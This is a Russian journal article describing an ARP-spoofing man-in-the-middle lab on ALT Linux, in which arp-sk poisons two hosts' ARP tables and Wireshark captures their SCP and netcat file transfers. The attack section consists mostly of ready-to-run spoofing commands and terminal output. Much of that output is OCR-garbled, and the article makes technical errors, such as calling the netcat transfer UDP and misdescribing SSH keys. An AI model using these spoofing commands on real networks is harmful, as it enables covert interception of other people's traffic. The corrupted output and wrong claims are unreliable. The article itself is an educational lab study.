Анализ и методика проведения перехвата сетевого трафика

Автор: Горлов А.В., Ноженко К.Э.

Журнал: Мировая наука @science-j

Рубрика: Основной раздел

Статья в выпуске: 1 (94), 2025 года.

Бесплатный доступ

В статье исследуются актуальные вызовы кибербезопасности: методы перехвата сетевых данных, их последствия для системы защиты информации и современные подходы к предотвращению несанкционированного доступа. В контексте растущего числа киберугроз особую значимость приобретает анализ таких технологий как снифферы, прокси-сервисы и атаки «man-in-the-middle». Подробно рассматриваются технические аспекты реализации подобных угроз, включая механизм перехвата данных. В фокусе также находятся реальные кейсы утечек информации, что позволяет выявить слабые места в защите. Авторы предлагают комплекс мер по снижению рисков: внедрение криптографических протоколов и передовых методов аутентификации пользователей. Статья нацелена на специалистов в области информационной безопасности, IT-экспертов и всех, кто интересуется защитой данных в цифровую эпоху.

Еще

Перехват трафика

Короткий адрес: https://sciup.org/140308839

IDR: 140308839

Текст научной статьи Анализ и методика проведения перехвата сетевого трафика

В этой статье мы рассмотрим примение пакета утилит arp-sk в ОС Альт для проведения атаки типа «man-in-the-middle».

Наша задача: получить траффик компьютера Victim с помощью компьютера Attacker.

Для этого мы будем использовать самопроизвольный arp-ответ. В протоколе arp предусмотрена возможность отправления устройством arp-запроса или ответа в случае, если такое не требуют другие устройства. Для чего это надо — например, если изменился mac-адрес маршрутизатора. В случае, если компьютер поддерживает самопроизвольный arp то он перезапишет легитимный адрес на адрес атакующего.

ARP-протокол функционирует как средство для динамического определения MAC-адресов, позволяя устройствам самостоятельно запрашивать или отвечать на запросы без необходимости привлечения других компонентов сети. Если система поддерживает автоматический ответ на ARP, происходит замена "подлинного" MAC-адреса устройства на поддельный, а именно адрес атакующего.

Спуфинг – это манипуляция с идентификационными данными сетевых адресов для несанкционированного доступа и получения преимуществ в безопасности. [1]

В контексте регулирования передачи данных, на первом уровне рассматривается применение SSH-протокола. SSH – это криптографически защищенный протокол уровня приложений, предоставляющий безопасное удаленное управление операционными системами и формирование туннелей для TCP-подсоединений. Спецификой является шифрование всего трафика. SSH поддерживает разнообразные алгоритмы шифрования. [4]

Затем мы анализируем UDP-протокол. Он является ключевым элементом в наборе сетевых протоколов Интернета. UDP позволяет приложениям отправлять сообщения между хостами IP-сети без необходимости предварительной установки соединений или специальных каналов передачи данных, обеспечивая высокую скорость и минимальную задержку.

МЕТОДОЛОГИЯ ПРОВЕДЕНИЯ ПЕРЕХВАТА ТРАФИКА

Для проведения эксперимента была выбрана ОС Альт. Рассмотрим нашу сеть. В сети. Есть 3 компьютера, все они подключены к wifi. Компьютер PC-1 будет являться в нашем случае клиентом или отправителем данных. Компьютер PC-2 выступает в роли получателя трафика. Может быть и наоборот. Также в сети присутствует третий PC-ATTACKER, он будет выступать в роли злоумышленника (man-in-the-middle), который будет пытаться перехватывать исходящий от PC-1 трафик. Перейдем к проведению эксперимента. [2]

Будем действовать от лица злоумышленника, эксперимент будет проводиться в исследовательских целях. Первым делом, мы должны убедиться, что все ПК, данные с которых мы хотим перехватить, находятся с нами в одной сети.

IrootPATTACKER J# ping 10.211.55.6

PING 10.211.55.6 (10.211.55.6) 56(84) bytes of data.

64 bytes from 10.211.55.6: icmp_seq=l ttl=64 time=0.750ms

64 bytes from 10.211.55.6: icmp_seq=2 ttl=64 time=0.687ms

64 bytes from 10.211.55.6: icmp_seq=3 ttl=64 time=0.669ms

ЛС

--- 10.211.55.6 ping statistics ---

3 packets transmitted, 3 received, Oz packet loss, time 2009ms rtt min/aug/max/mdeu = 0.669/0.702/0.750/0.034 ms

[rootPATTACKER ]# ping 192.168.0.100

PING 192.168.0.100 (192.168.0.100) 56(84) bytes of data.

64 bytes from 192.168.0.100: icmp_seq=l ttl=128 time=0.604ms

64 bytes from 192.168.0.100: icmp_seq=2 tt1=128 time=0.931ms

64 bytes from 192.168.0.100: icmp_seq=3 tt1=128 time=0.965ms

ЛС

Рисунок 1. Пинг других ПК в сети.

  • Figure 1.    Ping other PCs on the network.

После того, как мы убедились, что все ПК для нас доступны, включаем протокол SSH на PC-1 и PC-2, так как, в основном он используется для передачи данных. Этот протокол является довольно защищенным, он для идентификации устройств, он использует ssh-ключи. SSH-ключи это набор символов, хранящийся в определенном файле, в директории SSH. Именно данный ключ выступает идентификатором устройства. Без данного ключа, устройство попросту не сможет обмениваться данными.

IrootPPC 1# systemctl status sshd | sshd.seruice - OpenSSH seruer daemon

Loaded: loaded (/1ib/systemd/system/sshd.seruice; disabled; uendor preset: enabled)

Actiue: actiue (running) since Sat 2025-01-04 20:08:02 MSK; 3s ago

Process: 3299 ExecStartPre=/usr/bin/ssh-keygen -A (code=exited. status=0/SUCCESS)

Process: 3300 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)

Main PID: 3301 (sshd)

Tasks: 1 (limit: 3246)

Memory: 1.9M

CPU: 18ms

CGroup: /system.s1ice/sshd.seruice L 3301 /usr/sbin/sshd -D

Jan 04 20:08:02 PC systemdlll: Starting OpenSSH seruer daemon...

Jan 04 20:08:02 PC systemdlll: Started OpenSSH seruer daemon.

Jan 04 20:08:02 PC sshdl33011: Seruer listening on 0.0.0.0 port 22.

Jan 04 20:08:02 PC sshd133011: Seruer listening on :: port 22.

Рисунок 2. Активация протокола SSH.

  • Figure 2.    Activating the SSH protocol.

Аналогично делаем на PC-2. Далее нам необходимо сгенерировать наши ключи на обоих ПК.

]# ssh-keygen -t rsa -b 4096 Generating public/priuate rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again:

SHAZ56:GPZR18SrnJID0MUnUZ31ZOZUuCFMOhUBUtF8a R/p+aQ rootPPC The key's randomart image is:

+---[RSA 40961+

I .   +Z00.+ .I

I 0.00 .*o*+oI

Io .   • 0+0+0.I

I . . 0.0S .+I

I + + E .I

I оI

II

II

+----[SHAZ561+

Рисунок 3. Генерация SSH-ключа на PC-1

  • Figure 3.    Generating the SSH-key on PC-1.

J# ssh—keygen —t rsa —b 4096 Generating public/priuate rsa key pair. Enter file in which to save the key (zrootz.sshzid_rsa): zrootz.sshzid_rsa already exists. Overwrite (у/n)? у Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in zrootz.sshzid_rsa. Your public key has been sawed in Zrootz.sshzid_rsa.pub. The key fingerprint is: SHAZ56:dGHourIgmICZMsJtBkqYpFT1IZUzYOf00C6EAMo0U9w rootOPC-Z The key's randomart image is: *---[RSA 40961----*

I+B.O++....*.o. I IB + о .oEoo B +.I

I . + . . о. .oo=o I l=o. .o.. . I lOo .     .S.  .I

I0+0         . .I

Io .o.        .I

I  I

I            .oI

+----CSHAZ561+

Рисунок 4. Генерация SSH-ключа на PC-2

  • Figure 4.    Generating the SSH-key on PC-2

Теперь нам необходимо подготовить наш файл, который мы будем отправлять, назовем наш файл secret-file, и напишем внутри него кодовую фразу, которую должен получить PC-2

21+ Stopped                  uin /

]# nkdir zetc/net/secret

root®PC ~]#

Рисунок 5. Создание папки secret на PC-1

Figure 5. Creating the secret folder on PC-1.

Рисунок 6. Создание кодовой фразы Figure 6. Creating a passphrase.

IrootePC-2 " ssh-copy-id userPlO.211.55.6

/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed /usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed — if you are prompted now it is to install the new keys userPlO.211.55.6's password:

Number of key(s) added: 1

Now try logging into the machine, with: "ssh 'userPlO.211.55.6'" and check to make sure that only the key(s) you wanted were added.

Рисунок 7. Отправляем свой ключ на другой ПК.

  • Figure 7.    Send your key to another PC.

После успешной передачи ключа, система PC-2 и PC-1 обеспечивает взаимную идентификацию в рамках коммуникации посредством SSH-протокола. Теперь ПК полностью приспособлены для безопасного обмена данными.

  • 1.     Wireshark. Этот инструмент станет “глазами и ушами”, позволяя

  • 2.     ARP-SK. С помощью данной утилиты удастся осуществлять

непрерывному анализу трафика на выбранном порту.

манипуляции с mac-адресами, что открывает возможности для несанкционированного доступа в локальной сети.

Таким образом, подключив эти средства, атакующие получают полный арсенал для реализации своих планов. [5]

1# apt-get install wireshark

Reading Package Lists... Done

Building Dependency Tree... Done

Se1ect i ng и ireshark-qt5 for ' w ireshark'

The following extra packages will be installed:

Рисунок 8. Устанавливаем утилиту Wireshark

  • Figure 8.    Installing the Wireshark utility.

Рисунок 9. Интерфейс Wireshark

  • Figure 9.    Wireshark interface

Теперь необходимо произвести подмену адресов, для всех ПК в сети, чтобы, когда один ПК будет пытаться отправлять данные другому ПК в сети, мы могли просто получать данные прямо в наши руки. Необходимо заметить, что, для того, чтобы перехват данных был более скрытным, будет лучше подменить и наш mac-адрес. Так как, при перехвате данных, мы будем получать пакеты, а отдавать их мы не будем, поэтому, нам необходимо замаскироваться.

frootOPC ~1# arp -a

Рисунок 10. Таблица ARP до подмены на PC-1

  • Figure 10.    ARP table before replacement on PC-1

[root(?PC-Z ”]# arp -a

Рисунок 11. Таблица ARP до подмены на PC-2

  • Figure 11.    ARP table before replacement on PC-2

По таблицам видно, что каждый ПК видит несколько устройств в сети, одно из них наш PC-ATTACKER.

[pool^ATTACKER apt-get install arp-sk

Reading Package Lists... Done

Building Dependency Tree... Done

The following extra packages will be installed:

1 ibnetZ

The following NEU packages will be installed:

arp-sk 1 ibnetZ

0 upgraded, Z newly installed, 0 removed and 63 not upgraded.

Need to get 63.1kB of archives.

After unpacking 158kB of additional disk space will be used.

Do you want to continue? [Y/nl yes

Get:1 pl0/branch/aarch64/classie 1ibnetZ 1.1.6-altl:sisyphus+Z78100.Z700.1.1O16Z6059818 [39.0kBJ

Get:Z pl0/branch/aarch64/classie arp-sk [

Fetched 63.1kB in Is (45.1kB/s)

Committing changes...

Preparing...                             ййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййй [100/1

Updating / installing...

1: libnetZ-1.1.6-altl                   ййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййй [ 50/]

Done.

Рисунок 12. Установка утилиты arp-sk

  • Figure 12.    Installing the arp-sk utility

Суть данной утилиты в том, что с помощью нее, мы можем отправлять сообщения от лица других ip-адресов, в том числе и сообщения о смене их mac-адресов.

Используем команды:

arp-sk -i enp0s5 -r -s 00:1C:42:EA:8B:72 -S 10.211.55.5 -d 00:1C:42:40:D4:C9 -D 10.211.55.6 — данная команда отправляет сообщение PC-1 от лица нашего ПК, о том что наш mac-адрес теперь 00:1C:42:EA:8B:72

arp-sk -i enp0s5 -r -s 00:1C:42:EA:8B:72 -S 10.211.55.5 -d 00:1C:42:A3:A3:EC -D 10.211.55.7 — данная команда отправляет сообщение PC-2 от лица нашего ПК, о том что наш mac-адрес теперь 00:1C:42:EA:8B:72

arp-sk -i enp0s5 -r -s 00:1C:42:EA:8B:76 -S 10.211.55.6 -d 00:1C:42:A3:A3:EC -D 10.211.55.7 — данная команда отправляет сообщение PC-2 от лица PC-1, о том что его mac-адрес теперь 00:1C:42:EA:8B:76 (на самом деле это наш адрес)

arp-sk -i enp0s5 -r -s 00:1C:42:EA:8B:76 -S 10.211.55.7 -d 00:1C:42:40:D4:C9 -D 10.211.55.6 — данная команда отправляет сообщение PC-1 от лица PC-2, о том что его mac-адрес теперь 00:1C:42:EA:8B:76 (это также наш адрес)

I arp-sk -i enp0s5 -r -s 00:1C:42:EA:8B:76 -S 10.211.55.2 -d 00:IC:42:40:D4:СЭ -D 10.211.55.6

+ Initialization of the packet structure

+ Running node "reply"

  • ♦    Ifname: enp0s5

  • ♦    Source MAC: 00:1c:42:ea:8b:76

  • ♦    Source ARP MAC: 00:1c:42:ea:8b:76

  • ♦    Source ARP IP : 10.211.55.2

  • ♦    Target MAC: 00:lc:42:40:d4:c9

+ Target ARP MAC: 00:1c:42:40:d4:c9

  • ♦    Target ARP IP : 10.211.55.6

    -- Start classical sending --

    TS: 21:21:28.536399

To: 00:1c:42:40:d4:c9 Fron: 00:1c:42:ea:8b:76 0x0806

ARP For 10.211.55.6 (00:1c:42:40:d4:c9): 10.211.55.2 is at 00:1c:42:ea:8b:76

Рисунок 13. Пример отправки ARP-сообщения

Figure 13. Example of sending an ARP message.

Далее проверяем arp-таблицу на PC-1 и PC-2

Lrooteri-Z arp -a

Рисунок 14. ARP-таблица на PC-2

Figure 14. ARP table on PC-2.

По таблице видно, что mac-адреса изменились, аналогичную картину мы будем наблюдать на PC-1.

Теперь мы готовы перехватывать трафик. Включаем утилиту Wireshark и выбираем наш единственный порт enp0s5 с mac-адресом 00:1C:42:EA:8B:76 .

Для наглядности, попробуем пропинговать ПК между собой.

Рисунок 15. Перехваченный пинг

Figure 15. Intercepted ping

Мы видим, что наш ПК перехватывает пинг и пересылает его дальше. Вся информация о полученных пакет доступна нам.

Теперь с помощью протокола SCP пробуем отправить файл с PC-1 на PC-2.

[rootPPC-2 IK scp zetc/net/secret/secret-file userPlO.211.55.6:/etc/net/secret

Рисунок 16. Отправка файла через SCP на PC-1

Figure 16. Sending a file via SCP to PC-1

Рисунок 17. Перехваченные пакеты по TCP протоколу

  • Figure 17.    Intercepted packets using the TCP protocol.

Пробуем просмотреть содержимое файла и видим, что все зашифровано, по трафику в Wireshark видно, что клиент, который отправляет файл видит, что ключ не сходится и пробует создать новый.

Делаем вывод, что перехватить данные, передающиеся по SSH протоколу можно, но расшифровать их мы не можем, так как у нас нет SSH-ключа.

Попробуем произвести отправку через утилиту NETCAT, которая не будет шифровать наш файл. [3]

ErootePC ~]# nc 10.Z11.55.7 1Z345 < zetc/net/secret/secret-file

Рисунок 18. Отправка файла через NETCAT

  • Figure 18.    Sending a file via NETCAT.

Рисунок 19. Перехваченный трафик

  • Figure 19.    Intercepted traffic

Мы видим, что после подмены mac-адресов, произошла отправка файла по UDP протоколу, рассмотрим, передалось ли содержимое файла. Мы видим содержимое, перехват успешен.

Рисунок 20. Содержимое перехваченного файла

  • Figure 20.    Contents of the intercepted file

ЗАКЛЮЧЕНИЕ

В заключение можно отметить, что перехват сетевого трафика возможен. В ходе эксперимента мы выяснили, что можно перехватить любой трафик, но остается открытым вопрос о шифровании данных. Мы рассмотрели на примере SSH и UDP протоколов перехват текстового файла. Далее мы выяснили, что перехваченный файл, передаваемый по SSH протоколу невозможно расшифровать, так как для это используются надежные методы шифрования данных. UDP протокол, в свою очередь позволяет нам получить доступ к содержимому файла. Весь эксперимент проводился в исследовательских целях.

Список литературы Анализ и методика проведения перехвата сетевого трафика

  • Практика использования arp-spoofing // Хабр URL: https://habr.com/ru/articles/94122/(Дата обращения 26.12.2024).
  • Команды APT // ALT Linux WIKI URL: https://www.altlinux.org/Главная_страница (Дата обращения 25.12.2024).
  • Как пользоваться netcat // HackWare URL: https://hackware.ru/?p=8777 (Дата обращения 26.12.2024).
  • SSH для начинающих // Хабр URL: https://habr.com/ru/articles/724762/(Дата обращения 27.12.2024).
  • Основные работы в Wireshark // Дзен URL: https://dzen.ru/a/XrkjvJ2-lWSMVH3P (Дата обращения 27.12.2024).
  • Уймин, А. Г. Сетевое и системное администрирование. Демонстрационный экзамен КОД 1.1 : учебно-методическое пособие для спо / А. Г. Уймин - Москва : Лань, 2022. - 480с. - ISBN 978-5-8114-9255-8.
Статья научная